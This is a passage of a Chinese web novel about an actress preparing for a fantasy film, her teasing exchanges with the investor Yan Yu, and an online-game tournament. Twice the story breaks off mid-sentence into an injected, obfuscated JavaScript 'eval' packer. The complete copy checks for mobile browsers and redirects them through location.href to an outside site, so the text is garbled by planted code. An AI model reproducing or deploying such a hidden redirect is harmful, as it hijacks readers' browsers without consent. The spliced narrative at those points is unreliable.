元时亦抬头,是位棱角分明的青年男人,三十多岁的模样,头发梳得一丝不苟,眉毛修剪齐整,嘴角下巴看不到一粒胡渣,很明显是用心打理过,再加上一套被熨烫得看不到一丝褶皱的正装,元时亦咽下嘴里塞满的食物,“地、地蚩?” 地蚩,土之灵,作为本剧最年长的灵体之一,古板、正直,是严格的守旧派,同时,他还有一个标志性特点,强烈的强迫症与洁癖。 “我说什么来着,是不是立马知道?” 元时亦睁了睁双眼,连连点头,这才是真正的本色出演吧! “嗯,我是地蚩。”认下身份,他从口袋中拿出一包全新的纸巾,拆开,拇指与食指轻捏,抽出一张折叠规整的纸递给元时亦,“你衣服的领口上溅了两滴油渍,由于是浅色,建议你先用纸巾擦掉多余油脂,回家后用洗洁精或专用洗涤剂清洗。” 元时亦:…… 这绝对是本色出演,不,不是演,这就是地蚩本人!!! 地蚩离开后,四人小队立刻凑到一起说小话。 方想:“这味正不正?” 元时亦:“太正了。” 舒妤:“+1,我说真的,他坐在幻哥身边的时候我后背都流汗。” 周泽洋:“真佩服江导,他从哪找到的?” 方想:“赶巧了呗,他当时去挑其他角色,结果碰到了这位,当即就换了原来那个,赔了三倍违约金。” 周泽洋:“啊这。虽然有点对不起良心跟钱包吧,但搁我我也得换。” 元时亦表示赞同,站在旧地蚩的角度来看,是有些倒霉,谁能想到签好的角色还能被这样“截胡”,但如果截胡的是角色“本人”,那就不得不甘心接受了。 方想:“尤其是,你们知道他本人叫啥吗?” 三脸摇头。 方想:“丁除。DC,地蚩,丁除,你们说巧不巧。” 三脸点头。 谁来不得说一句天选“地蚩”? 舒妤做出总结:“输得不冤。”说到这,她用手肘碰了碰元时亦,“其实我对你也是这个想法。” “啊?”元时亦擦拭着领口的油污,全然不知话题怎么会带到她身上。 舒妤看着时间还早,决定长话长说:“我是资深书粉,最喜欢的就是阿似,所以老江来问我的时候我激动死了,结果他说让我演百里幽。” “*@#¥%…&*” “我说不行我要演阿似,他让我回去找照照镜子。” “好吧,我照完感觉确实不行,但是他找的那些哪一个行?!啊?哪、一、个、行?还不如就让我去呢。” 元时亦已听过一轮江燚倒的苦水,这会儿再听舒妤说的这些就没有那么意外了,只是她记得在她出现前,有过一个不错的人选,但根据舒妤现在的说法,似乎那一个也不太好,“当时不是有定一个,那个也不行吗?” “我只能说她长相勉强可以,演技还差点意思。”舒妤提起这人就有些来气,“我是觉得她连原著都没好好看过,那要怎么演啊。” “老江本来是要定她的,我当时跟他闹了一天,我说他要是敢定我就敢罢演。” 周泽洋似是没听过这事,顺势问道,“那你敢吗?” “不敢,赔不起违约金啊哥。”舒妤往座椅上一靠,叹气,“只能口嗨一下。” “我们是没什么话语权,但是发表一下个人观点总可以吧。” “特别是,我前脚刚跟他闹完,他后脚就答应人家可以接头发试试,我感觉我就像个小丑。”舒妤说到此处,抹了一下眼角不存在的眼泪,“他明明说过接头发的效果不会太好,还非要答应,搞得我一度怀疑他是不是被偷偷塞钱了,或者说就是颜总偷偷给他塞的人。” 提到“颜总”二字,元时亦心脏一顿,脑海里立刻浮现出那张脸,还是昨天他离开前,戴着眼镜的,侧脸。 微垂的眼睫,轻抿的嘴唇。 少见的,天然的禁欲系—— 舒妤拍拍走神的元时亦,给她抛去一个暧昧的wink,“没想到,原来颜总真正‘塞’的人是你啊。” “不是的!”元时亦连忙反驳出口,在舒妤把事情描“黑”前,她得把赶紧话题火车拉回正轨,“只是巧合,我当时在姜洺导演那里试戏,恰好颜总也在,我才有了被江导看到的机会。” “嗯,只是巧合。”元时亦再次着重强调。 “哈哈,别怕别怕,我只是这么一说,事情的原委我们都知道的。就是网上那些谣言传得实在太离谱了,我当时也信以为真,跑去问老江,结果被他喷了一顿,然后他就告诉了我原因还给我看了你的视频。” 舒妤一边回忆一边感叹,“不过也是看了你的试镜我才终于放心,阿似终于等到了能演她的演员。” 阿似,终于等到了能演她的演员。 元时亦在心中默默复述出这句话。 她先前的确已得到过一些人的肯定,可真要论起来,那些都是旁观者、局外人的看法,与舒妤这种“竞争对手”的视角而言,是完全不同的角度,对元时亦来说,她不知道哪一种更让她欣喜,她只知道,这一瞬间,她是真真切切感受到了比以往都要强烈的正向反馈。 元时亦神色认真地回视舒妤,“嗯,我一定努力,不让你冤。” 演戏是她人生中做过最难也最有挑战的一件事,或许如今她做得还不够好,但与十年前那个觉得一切努力都是白费的少女相比,她已能够坦然面对自己的失败与不足,也能够在这条迷雾弥漫的荆棘路上,踏出一条清晰而明亮的道。 “噗,还说你演得不好?这简直是——” “太阿似了。” “太阿似了。” - 一天的围读结束后,江燚把主角团四人以及地蚩单独留下。 方想看着江燚手里的一沓纸:“你不会还要布置留堂作业吧……” 江燚扫了眼被方想卷成筒状的剧本,“我确实很想给你留。” 方想咽一下口水,屁股往后挪了挪。 江燚将手中的东西一一分发给五人,“给,这是你们的课程表,下周准备训练。” “下周?”周泽洋不解,“下周不是还有围读吗?” “这两天进度不错,下周只排上午就可以了。” 元时亦接过属于自己的那张表看了看,柔术、瑜伽、礼仪、游泳以及威亚,课程都在下午跟晚上,排得满当,几乎没有空余时间。 “这么多?”方想看完训练表,一脸苦大仇深。 江燚睨他一眼,“你去看看阿似的,还好意思喊多。” 几颗脑袋立刻凑向元时亦。 舒妤:“妈呀,这也太满了。” 元时亦看了看其他人的表,果然都没有她这么“惨”。 除去礼仪威亚两门共同课程外,舒妤只有瑜伽,方想只有刀术,周泽洋则是基础医学跟箭术,不仅类别没有她多,时间也相对短点。 “有压力吗?”江燚问。 元时亦摇头,“没有,毕竟我台词少嘛,那这部分多花些时间也是应该的。” 这些课乍一看是有些骇人,可仔细一想,瑜伽她常年都有在练,游泳她又很擅长,那就只剩三项了,不会很吃力。相对来说,柔术跟威亚会比较陌生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元时亦看着丁除平移到她身上的目光,并不意外地解答了方想这个问题:“因为他的那场打戏,是跟我的水下戏。” 一周后。 元时亦吃过晚饭,准备去上游泳课时,接到了江燚的电话。 “阿似,晚上方便走个戏吗?” “好,大概几点,我上完游泳……” “就是水下戏,跟地蚩的那一场。” 早上元时亦跟丁除对完台词,非也当即就拉着江燚修改了剧本。 “他俩台词还是多了,得上动作。” 江燚瞅着她毫不犹豫地将一排排文字划掉,心疼道:“那也别都删了啊。” “我是觉得,他们可以试试自行发挥。” “那要不,我直接约着试一场?” 于是,就有了晚上这出临时搭建的“泳池海景”。 这一场戏,讲的是阿似离开人类保护协会后,地蚩追踪到她的踪迹,准备亲自前往抓捕。阿似并不想冒犯这位德高望重的长者,只是此时她已秘密加入另一组织,不可能再回协会。 元时亦戴好威亚,俯冲入水。 海面涌起的水花飞溅到地蚩崭新的西装上,他眉头轻皱,抬手,一座巨岩牢笼自海底升起,沿着阿似逃离的方向,一路向前。 滚石快于流水。 阿似被牢牢困住。 地蚩踩着石阶走向海水中央,“阿似,跟我回去。” 阿似手指伸出,陷进石壁的指尖开始变得透明,透明一路蔓延,遍布全身,她露出了她的灵体。“地蚩,我不想伤害你。” 地蚩双眼微眯,在他眼里,数百岁的阿似也不过是个刚刚成年的小丫头,他不明白她在胡闹些什么,也不明白她在说些什么,或许,这是她迟来的叛逆期。 叛逆的小孩,需要一点惩罚。 地蚩轻掷石杖,牢笼瞬间压缩,不留一丝喘息空间。 阿似被吊起一只手,碎石绕过她的手腕,勒出缓慢转动的流光,她是透明的,透明身躯折射出不断变幻的色彩,美到有些狰狞。 “阿似。”地蚩再一次出声,浓浓的不悦隐匿于压低的声线中,她为什么非要让自己遍体鳞伤,她难道不知道,她的一切挣扎都只会是徒劳—— 骤地,吊起的手腕直直转下,抓住了这根碎石引线,“唰——”困于石笼下的透明灵体飞速翻转,一条砾石石鞭被狠狠甩出,石块飞射,尽数砸向地蚩身体。 局势倒转。 阿似浮出水面,居高临下地看着被她完全打入海面之下的地蚩,“地蚩先生,你还是喜欢把石头排列得这么整齐。” 镜头移至地蚩腹部,西装破碎,躯体裂开,他被阿似打出了灵体。 最终,画面定格在地蚩因为过于震惊而微微颤抖的瞳孔上。 “卡!” 周围瞬间响起一阵掌声。 “这个动作太漂亮了!”江燚身体猛地坐直,激动地拍了下身边人,“没想到她游泳游得这么好。” 回答江燚的是一句平淡的肯定。“嗯,是很好。” 方形镜片上倒映出蓝色微光,镜片后,是一双眼沉定无波的眼。 这双眼静静注视着监视器,画面中,女人并未顺着威亚离开水面,而是埋入水中,游向了岸边。 元时亦从水里出来时,见到的便是一双黑色的薄底皮鞋,有些眼生,笔挺的西装裤管延伸向上,又有些眼熟,元时亦顺着看过去—— 颜屿双眸轻移,落到了她的视线上。 沾满水珠的眼睫轻颤一瞬,他总是出现得这么突然。 元时亦起身,接过路芙递来的浴巾。 “姐,你刚才演得好棒呀,把地蚩打下水的时候帅死了!快好好擦一下,别感冒。” “嗯。”她听到了表演结束时泳池边响起的声音,这应该能说明,她演的至少没有什么大问题。 元时亦余光闪烁,捂在毛巾下的粉唇溢出一道细小的声音,“那个人什么时候来的?” “那个人”三字一出,路芙立刻会意,她凑到元时亦耳边,悄声道:“你前脚刚下水,他后脚就出现了。” 那还真是挺巧的。 元时亦擦好身体,目不斜视地朝江燚走去,江燚正在跟另一侧的助理说话,她正好也想问问结果。 “她眼睛还是太亮了,你记一下,这场戏后面拍的时候不要另外加光,让灯光师把光打到身上就可以了。后期做特效的时候再给她眼睛做层特效,压暗一点。” “好。” 元时亦听罢连忙开口:“江导,正式拍摄的时候我可以戴美瞳。” 做特效不是个简单的事,如果美瞳可以达到同样效果,那就无需增加这部分的工作量。 “不用,这场戏你展现得很好,正式拍摄就这么演就可以了。”江燚轻瞟一眼身旁沉默不语的人,眯起眼笑道:“咱们经费够,特效好做的。” 看到江燚的小表情,元时亦上涨的情绪霎时间紧绷起来,合一是财大气粗,但这样明着挥霍是不是有点……“主要我的水下戏还有好多场,如果都要做特效的话,会不会很麻——” “元老师这么敬业,是想帮我省钱吗?”沉默不语的人忽然出声,硬生生打断元时亦的顾虑。 不等元时亦回答,他盯着元时亦的双眼再次开口,“还是眼睛比较重要,对吧?” 两句话,一抑一扬,根本不给她反应机会。 前一句噎得她不知道该怎么回,后一句又假惺惺解释这么说的原因。 元时亦一张白净的脸被问得发烫。 抿紧嘴唇,元时亦闷声应了句“嗯”。 她就知道,这男人就是这个样子! 什么绅士,都是装的! 元时亦在心中默默做完一个深呼吸,强迫自己冷静下来。颜屿说话是不中听,可并未说错,没有泳镜的情况下,水下戴隐形有感染风险,容易伤眼。 冷静、冷静。 你不是早就见过这男人的真面目吗? 然而,她刚将心湖扫平,新的石子扔进湖中,再一次掀起波浪。 “我游泳的时候就不会戴隐形,只戴有度数的泳镜。” “当然,这样也有缺点。” 空气凝结的对视中,颜屿一字一句,“一旦摘下泳镜,我会看不清人。” 16. 自费 两人的对话最终被前来询问的丁除打断。 注意力被工作上的问题引走,元时亦便忘了去细究颜屿所说的那些话,直到回了酒店房间,她才后知后觉—— 颜屿,是不是在跟她解释泳池边无视她的那件事? “不戴隐形”、“看不清人”。 突兀、莫名,生硬到有些刻意。 所以,他后面反应过来是她了? 只是因为当时她跑得太快,他来不及跟她说清楚? 不不不,元时亦拿起抱枕在床边坐下,万一颜屿并没有这个意思呢,毕竟他之前跟她说过不要多想他的话。 可是他又老这样话里有话的! 谁能不多想?! “啊啊啊狗男人——” 元时亦一头闷进抱枕里,狠狠地捶了两下,这个男人,总是这么可恶! 突地,一道微信提示音响起,元时亦吓了一跳。 人在说人坏话时,总是很怕被发现。 是周三月给她分享了一则游戏公告。 【周三月:[链接]】 【周三月:出新公告了宝!比赛时间终于定了呜呜,在八月[开心]】 !是官方比赛! 元时亦赶紧点开链接。 居然还是她最期待的1v1单人赛。 元时亦快速浏览下去,从公告上看,《诸灵》将把单人赛与团体赛分开举行,八月份的单人赛算预热,年底的团体赛才是重头戏。 只是对元时亦来说,她会更偏爱11,因为这是对个人技术的真正考验。 元时亦继续下滑,一列动图忽然水灵灵地出现在她面前—— 【通用武器·[黑刀-SSS]效果展示】 卧!槽! 元时亦顿时瞪大了双眼。 黑色流光附着于一把细窄的长刀上,流光四溢,每一次挥动,都能看见光影飞舞。 这也太帅了吧! 曜黑的双眸闪烁着碎光,元时亦直接把每个职业的使用视频都看了一遍。 看到最后,她是越看越喜欢,这把武器,是把数值与特效都拉到了极致,足够顶级,着实配得上SSS这个评分。 当然,为确保公平性,系统会在PVP中对这把武器的属性做出相应调整,避免玩家之间的装备差距过大,但这又有什么关系?这武器的特效就足以说明一切了。 尤其是,只有比赛的前十六名可以获取,这稀缺性,简直—— 等下,刚才三月说几月来着? 八月。 八月?! 完,元时亦心中燃起的火焰瞬间被浇灭,那正是她拍戏最忙的时候。 且不说她能不能进到前十六名,就单说这比赛时间,她都不一定挤得出来,她总不能跟江燚请假说她要打游戏吧…… 元时亦又一头捶进了抱枕里。 【周三月:亦亦你看到那把武器了没?】 【周三月:真的帅到我了,我的天,我是真想不出来我一个远程职业怎么用这玩意儿,他们居然设计成两把刀形变出一把弓来,我真的服】 【周三月:特别是大招还是两把刀交叉斩过去,我这40米的大刀要藏不住了】 元时亦又何尝不震惊呢,她的职业属于半远程,除了能在远处扔冰棱外,还能融化出一把水剑来,优雅地把怪物斩于剑下。 但这把刀用在她的职业上,她将不再拥有远程技能,而是成为一名绝对的战士。 冰刀冰冻一切,黑暗来临,笼罩大地。 这是一场暴力与美学的盛宴。 【元时亦:我要馋哭了,真的】 【元时亦:为什么只能从比赛里面获取啊啊啊,就不能放出来让我买吗?「大哭」】 【周三月:啊,我忘了,你好像没空参加】 【元时亦:是的,惨如我】 【周三月:可惜我应该是进不了前十六的,到时候看甘霖行不行,如果他拿到了,就让他给咱们试用一下!】 公告中特别注明了一点,该武器可以借给亲友/情缘/师徒使用,只不过会有次数限制,一周一次。 钻家是尽职尽责的奶爸,用他自己的话说,55可以打,33可以打,11绝对不行!倒不是他技术不好,而是他不想伤害任何一条生命。换句话就是,他只喜欢掌控队友血条的感觉。 三月,嘴上说进不了前十六,可元时亦知道她是有这个实力的,只是她在11中非常不擅长应对克制职业,属于是看见就想双手放下手机的程度,有这样一个短板,的确会很难冲进前列。 至于甘霖,他的职业属于坦克类型,虽然也有战斗形态但相对来说会偏团体一点,11并不占优,在一个附带顶级奖励的比赛活动中,即使他操作很好,也很难说最后能不能排得上名次。 元时亦一一列举完,队伍里,似乎就只剩与老板最有希望。 而与老板的劣势—— 嗯,目前来看,好像没有劣势。 只是,这位大佬实在话太少,即使他们五个每周都会聚在一起打本,频道里通常也只有四个人的声音,以至于,她对他,会有一种微妙的生疏感。 一定要说的话,对于与山言,元时亦的态度更多是把他当作情缘任务和团队任务的工具人。 所以,让她找与老板借用,她其实不是太“敢”。 毕竟,如果她想借用得久一点,还得一下顾忌这位大佬的心情,要是三月夫妻、钻家什么的,她就放肆使用了。 哦也不一定,万一他也没空参加这比赛呢? 那正好不用妄想使用这把武器了。 另一边,周三月看元时亦一直不给回复,便又发了条消息过来。 【周三月:其实还有一个比较稳妥的办法】 【元时亦:?】 【周三月:你问下颜屿,能不能让你自费买这把武器「嘿嘿」】 【元时亦:……】 【元时亦:是很稳妥,下次别再这么稳妥了】 找颜屿? 哼,那还不如指望她自己呢,谁知道这位颜大老板入了娱乐圈还管不管游戏上的事了,最重要的是,去找他提这种过分的要求,他绝对会给她送上一顿内涵十足的讽刺。 - 围读工作顺利结束后,主角团的训练也来到尾声。 这几日,江燚时不时盯一下训练,气氛好时,会直接拉着人现场走戏。 下午,某个场景刚搭好,元时亦就被叫去跟某个配角对场戏,正好,她此时刚下柔术课,状态正佳。 一段动作戏结束后,元时亦被江燚喊去监视器旁。他身后是临时拉起的白帘,还有一部分场景没有搭建完,正在整理。 “看来这段时间的训练还不错,就是正式拍摄的时候你的身体需要再轻柔一点,别太僵硬。” “好。”元时亦点头问道,“那我需要继续去上那几门课吗?” 剧组能挤出来的时间并不多,只能让她学到达到拍摄标准的程度,就比如柔术,柔术真正要学会,这么几节课是肯定不够的,江燚的意思是,让她学柔术,并不是为了让她能掌握这项技能,而是让她的身体具备以柔克刚的意识,简单说,体态上,她要做到如水般柔和,又要做到如水般有力。 许是没料到元时亦会主动提出这样的要求,江燚挑起眉看她,“觉得学的还不够吗?”随即,他展开一个笑容,“你现在的动作已经能够应对拍摄,后面再加武训,不会有什么大问题。如果你真的还想学,倒是可以试试其他课程。” “其他的?” “嗯,射箭有一场,马术嘛,阿似有两场骑灵兽的戏,也可以学学看”,江燚翻着手里的分镜图,继续道,“还有插花跟茶艺,就是这俩都只有一个镜头,学不学都行。” “可以学。”元时亦回复地很快。 她已经决定好压缩掉娱乐时间,毕竟,如果她在游戏里泡得太久,一想到后面又无法参加比赛,那她只会更加难受,还不如少接触、少玩。 “确定吗?这样开机以后,你可能会没有什么时间休息。” “确定。”元时亦再次坚定出声。阿似的台词很少,省去了背台词的时间,那么她在其他方面就一定要尽力做到最好,“哪怕只有一帧,我也想尽可能完美地呈现。” 一个令人满意的回答。 江燚此刻很庆幸,当初能顶下项目延期的压力,等到她。 “好,那我就直接帮你安排课程了。只是我们后面要进山,你最多也只有一个月的时间上课,时间上估计会很紧,身体吃不消的话要随时跟我说。” “好,谢谢江导,我会的。” 这次的电影中涉及到许多外景,剧组已提前在某个避暑山庄找到一个不错的场地,七月启程,为期三月,正好可以在沪城最热的时候出去避暑。 江燚叫来助理,“箭术跟马术的老师你去续约一下,另外的这两门课程找找专业的老师,约好日期,再帮她做个课程表,记得根据她后面的戏份来,别冲突了。” “明白,那预算上……” “预算不用担心,尽量找好点的,免得出错。” “好。”助理合上小本匆匆离去。 江燚交代完,一边检查分镜一边出声琢磨,“这计划还是有点临时了,估计一时很难约到精通的老师。” 元时亦刚要点头,就听他话音一转,“但是嘛,有钱能使鬼推磨,咱们好歹是背靠——” “江燚,你就这么糟蹋我的钱?” 突然,一句略显不满的话从白帘后响起。 元时亦下意识抬头,果然看到那个让她熟悉的身影。 他的出现,总是让她难以预料。 依旧是笔挺雅致的西装,浅灰色,配银边窄框眼镜,温沉、平和,文质彬彬——如果不去听那句与他模样并不匹配的话的话。 江燚修改着分镜,头也不抬,“什么叫糟蹋,我这是正常支出。” 他听出了颜屿的声音,这位“大金主”几时这么小气了?他明明说过什么都可以按最高的标准来。 元时亦本不想插话,只是“糟蹋”一词——她压下一口气,在颜屿说话前先一步开口,“颜总,这部分费用我可以自费。” 课确实是她主动提出来要上的,她来支付费用无可厚非,可是,他就非要当着她的面把话说得这么难听吗? 也是,初见时他不就是这副样子吗。 然而,颜屿听完她的回答似乎是微愣了一瞬,随即,他恢复表情,举起手中被监视器遮挡住的文件送到元时亦面前,意有所指道:“这么说,这些都是元老师预定的了?” 预定? 预定什么? 他手里怎么还拿着一份文件? 她才刚跟江燚商量好课程,他怎么可能这么快就……等等,解压预算清单是什么? 元时亦视线锁定的刹那,一列整齐的名称映入眼帘—— 成人玩具。 成人玩具?! “不是,等、这、这不是我定的……”元时亦大脑瞬间宕机,说话都有些语无伦次。 谁能告诉她,这个预算清单是什么鬼啊! 是她以为的那种玩具吗? 为什么这个清单里会写这种东西? 啊?! 江燚原本只想当个快乐的吃瓜群众,却不想元时亦的反应实在反常,他赶紧抬起头去看颜屿手里的东西。 “成人……什么玩意儿这是!” 显然,江燚也被这页清单给震惊到了。 元时亦头皮发麻,耳垂上燃起的酡红传到脸颊,一阵又一阵,烫人得要命。 原来,他指的根本不是她的课,而是这列莫名其妙的东西。 她简直是闹了个天大的乌龙! 元时亦脸色发红又转白,待她稍稍平复一息,上移着目光想要查看颜屿表情时,却正好捕捉到颜屿眼尾还未来得及褪去的笑意。 一个念头当即蹦出,他是故意的。 他早就发现了她跟他说的并不是一回事,但他还是故意这么问了。 错愕与难堪顷刻间化为泡影,而这个恶劣的男人只是轻轻转动双眸,就躲开了她因为愤怒而产生的质问。 “我也想问问你,这是什么。”颜屿手腕一转,将文件递到江燚身前。 江燚接过文件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290595|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立马翻看起来,这才知道这到底是什么东西,他合上纸张,有些尴尬地解释:“咱们七月份不是要去那个避暑山庄吗,深山老林的,戏份又重,我怕大家精神状态不好,就安排人采购点解压的东西,谁知道会……”江燚说到这儿,怒火中烧,转身掀开帘子大喊:“胡雨那个臭小子呢,给我滚过来!” 胡雨是生活制片的助理,一个二十几岁的年轻男生,他正在帮置景师作参考,听到江燚的怒吼,他赶忙扔下手里东西飞奔过来。 “江导,您喊我。”胡雨一脸谄媚地看着江燚,全然不知接下来会面对怎样的暴风雨。 看到胡雨嬉皮笑脸的模样,江燚气不打一出来,文件一摔当场发飙,“我让你给我整理采购清单你就给我这么整?你自己好好看,你都写的什么玩意儿!” 他原本是想着,胡雨也是二十多的年纪,应该很了解年轻人会喜欢什么样的方式排解压力,他听说过桌游、剧本杀,还有什么解压玩具之类的,他不是太了解,所以就将这个小任务全权交给这位年轻男生负责,谁知他竟会列出这么个东西,他知道他思想或许有些老旧跟不上潮流,但这也太过超前了。 胡雨被这么劈开盖脸一顿叱问,赶忙拿起清单查看,翻来看去,他也没看出有什么问题来,直到江燚按住他的手,定格在那一张内容里,“成人玩、哎哟,江导,我我,我真是脑子抽风了,我一开始只是想写解压玩具来着,然后我想到你说是给成年人解压,我就担心只写解压可能会买成儿童玩的玩具,结果脑子一抽就、就就写成……我不是那个意——不好意思,我马上改、马上改!” 幸好,不是他跟不上潮流了。江燚手一挥,将这位犯了无心之失的臭小子赶走。 真相大白,江燚朝两人讪笑,“你们看,这就是一场误——” “导演,导演!这个景好像有点问题啊……”江燚刚要暖场,身后就传来一阵叫喊。 他再一次掀起帘子,“什么!” “就是、就是,你先过来看看……” 看起来是又出了什么问题,江燚一怒之下又怒了一下,“一个两个,没一个让我省心的!” “江导!这个它架不住,啊——” 事有轻重缓急,这边的事就交给他俩自己去处理吧,江燚闭紧双眼,重重喘出一口气,“来了!” 原本尴尬的氛围,因为这点意外的小插曲,很快便消散不见。 可江燚一走,元时亦用余光扫视一圈周围,就只剩下,她和颜屿两个人。 尴尬只是出去跑了一圈,接着又重新回到原地。 虽然她知道了这场乌龙的前因后果,但对于颜屿刚才的那种行为,她依旧是有气的。现在,她戏已走完,江燚又有事要忙,那她便没必要继续留在这里。 就是这顿气,元时亦起身,看来只能抽空在游戏里发泄了—— “元老师。”而这位让她有气的始作俑者显然不是这样想。 颜屿叫住了她。 元时亦身体一僵,他又叫她干嘛?! 一朵小小的火苗在她心中悄然滋生,现在,只要浇上一点点油,这朵小苗立刻就能引爆成巨大火焰。 然而,“刚刚是我冒犯了,希望元老师不要介意。” ? “嗯,是我不对。” ??? 元时亦整个人愣在原地,等等、等下,她没有幻听吧? 颜屿是在说,是他不对? 元时亦立刻联想到之前与老板在语音频道里的cosplay,当时哪怕只是模仿一下,她就已经感觉到毛骨悚然了,更不要说本尊现在,站在她面前,认真诚恳地把这句ooc的话一字一句地说出来。 这不对劲,这十分里有九分不对劲。 这怎么会,又怎么可能,是从他口里说出来的话呢? “不……”元时亦一开口,才发觉自己已被惊愕到有些僵硬,“不会。” 她这颗饱胀的气球,好像以一种很奇怪的方式泄了气。 浇到她心里的,不是一滴灼人的油,而是一捧抚人的水。 水缓缓落下,火种随之消散,最终,无影无踪,毫无痕迹。 “元老师没有其他话想说吗?” 元时亦再次顿住。 她,还应该说些什么吗。 他不仅在对她让步,甚至还鼓励她向前。 这句暗藏深意的指引,似乎戳破了什么东西。 元时亦睫毛颤了颤,既然他都这么直白地问了,那她不如趁此机会把那些奇怪的想法都一次性抖落干净,省得日后又被这人牵动心绪。 不加修饰的粉唇轻启,“你那天说摘了泳镜会看不清人,是在解释之前无视我的那件事吗?” “嗯,是。”颜屿给出一个简单却肯定的回应。 虽然,他会无视她是另有起因,但她既然只是这么问,那他便没必要说得太多。 好吧,看来她是真的误会他了。 他并不是故意要无视她的。 那这样的话,她也可以为那晚的行为作一下解释。 “我那天,也不是故意要打断你的。” “我只是当时急着关车门,没想到你会说话。” 颜屿听着,一双沉静的长眸牢牢盯住她,仿佛一汪想要将她沉溺的深海,然而,深海被无形的结界笼罩,遮掩,压抑,无法在此刻磅礴而出,“嗯,我知道。” 他知道? 元时亦心神定下,那看来他是没有误会她的。 人一旦高兴,说出的话就会有些大胆。 “那你那晚是想跟我说什么?” 大胆的有点忘了形,以至于她都忘了,这是个喜欢棒子跟甜枣交替使用的人。 颜屿没有回答她,而是反问着将问题抛回,“元老师希望我说什么?” 一句突然的问话,让元时亦生生止住期待。 他果然还是没有那么好心。 哼,不说就不说,她还不想知道呢。 “我不知道。” 只见银边眼镜后的一双眼倏然弯出一点弧度,在元时亦即将生出不满前,缓缓出口:“那元老师,要不要加个联系方式?” 17. 金主 前期准备工作基本完毕后,江燚挑了个黄道吉日举行开机仪式。 早上下起小雨,寓意遇水则发,江燚高兴得给全组人放了半天假,而元时亦也终于有了片刻的喘息。 她连续工作了整整十天,躺到床上时大脑还觉得不太真实。 这十天,她两眼一睁就是训练室和片场,除了睡觉,她几乎没怎么休息过,更别说抽时间肝游戏。她把账号甩给三月打理,距离最近一次上线,是上周日三月喊她上线去跟与老板做情缘任务。 而上周日,是颜屿主动跟她“道歉”,找她要联系方式的那天。 元时亦往下滑了下微信,自两人加上后,还没有开启过一次聊天,界面停留在【你已添加了颜屿,现在可以开始聊天了】上。 元时亦重新滑上去,聊天框消失。 也对,他俩私下好像也没什么可以聊的。 左下角在这时出现一个【1】,有消息进来。 是三月。 【周三月:宝,你现在有空上游戏吗?】 倒是赶巧,她现在还真有空。 【元时亦:有】 【周三月:神奇[震惊]】 【元时亦:?】 【元时亦:怎么了】 【周三月:刚刚与老板问今天能不能清周本,我寻思你可能没空,他居然说:应该有】 元时亦不自觉抬了下眉,与山言怎么知道她今天有空? 不等她细想太多,微博突然出现几条推送。 #《诸灵》影视化# #诸灵电影开机# #诸灵电影选角官宣# 元时亦眼眸暗了暗,这场腥风血雨终究是躲不掉的。 官博所发的那条“开机大吉”的微博下,评论在不断增加。 「确定是开机大吉不是关门大吉?[图片]看着我的眼睛告诉我你们选谁当女主?」 「我giao,真是元时亦演阿似啊」 「-疑似带资进组」 「-楼上略招笑,你说谁带资进组都行,元时亦,可能吗,你见过哪个带资进组的是从小配角演起的?而且,这电影是合一全资OK?」 「-就是,要不是我姐拒潜,就凭这张脸,早起飞了」 「-怎么,你姐趴在你耳边告诉你的吗?」 「-你们这不都把答案猜出来了,她傍上合一了呗,真的笑死」 元时亦从热搜退出来时,心跳还在微微加速着。 即使她已经做好了十足的心理准备,但这些恶意嘲讽和无端揣测闯入视野时,难过还是止不住地从内心蔓延开来。 他们不认为她能配得上这份角色,更愿意相信这是一场交易。 随之而来的,还有一股想要辩解的冲动。 进圈十年,面对这样的恶评,她应该早就波澜不惊,麻木无感了,可看到“傍上合一”几个字时,她竟有些难以压住情绪。 如果她是真的靠着那些见不得人的手段获得这个机会,那她或许还会心虚、担忧,可这是她凭借自己能力得到的,哪怕是沾了形象适配的光,那也是她实力之一,没必要因为这些虚假谣言陷入自证陷阱。 不甘心与不服输漫上心头,将难过与失落完全碾过,至于辩驳,她会用自己的行动来证明这一切。 一个深呼吸后,元时亦调节好情绪,点进私信。意外的是,私信里并无多少不友善的攻击,而是塞满了粉丝的安慰跟鼓励,她们似乎也没想到自担真的能拿到这样好的资源,于是心照不宣地没有在微博上高调庆祝招仇恨,只是暗戳戳地发一些类似“今天是个好日子”的表情包,这举动,倒很随了她这个正主。 一下看得入了神,元时亦都忘了还有件急事在等她。 半天等不到回应,周三月又发来两条微信。 【周三月:人呢】 【周三月:与老板又在催啦】 看到消息,元时亦心绪顿了顿,“催”这个字放在与山言身上其实有些反常,他一贯是以他们四个人的时间为主,每次约定打本日期,他的回复都是可以、有空,像今天这样的主动喊人,实在是很少见。 元时亦关掉微博,还是先别想这些乱七八糟的事了,珍惜休息时间,放松身体要紧。 进入游戏,四个亲友已组好队在等她。 好奇心驱使,元时亦连进语言前,打开了与那位情缘的私聊窗。 他们的聊天记录停留在上一次聊情缘任务上,与山言问她下周什么时候有空,因为不清楚这周的工作强度,她回复的是还不确定,可能周一就有,也可能要等到周末,总之,在游戏刷新前她肯定会上线跟他做任务的。 而今天是周四,这个时间节点,并不是个容易有空的时候。 【亦有时:与老板,你后面是没空打周本了吗】 元时亦问得比较委婉,如果直接问他怎么知道她今天能上游戏,似乎有点奇怪。 与山言的回答却让她意想不到。 【与山言:有】 有空? 与山言很快又发来回复,显然,他不打算在这个话题上多作停留。 【与山言:一会周本结束把情缘任务也做一下吧】 【与山言:可以吗?】 看着接连而来的三条消息,元时亦漂亮的眉头轻拧起来,她怎么感觉,这位大佬有点不太对劲呢? 三个小时后,元时亦所有的任务都清理完毕。 游戏时间结束,元时亦看着桌面上的微博图标,没忍住再次点了进去,然而,热搜竟已被撤去大半,而那些不怀好意的不实评论,也同样消失得一干二净。 元时亦怔住,这速度,是不是太快了点,剧方是早有准备吗? 何曦的电话正好在此时打来,解答了她心中的疑问。 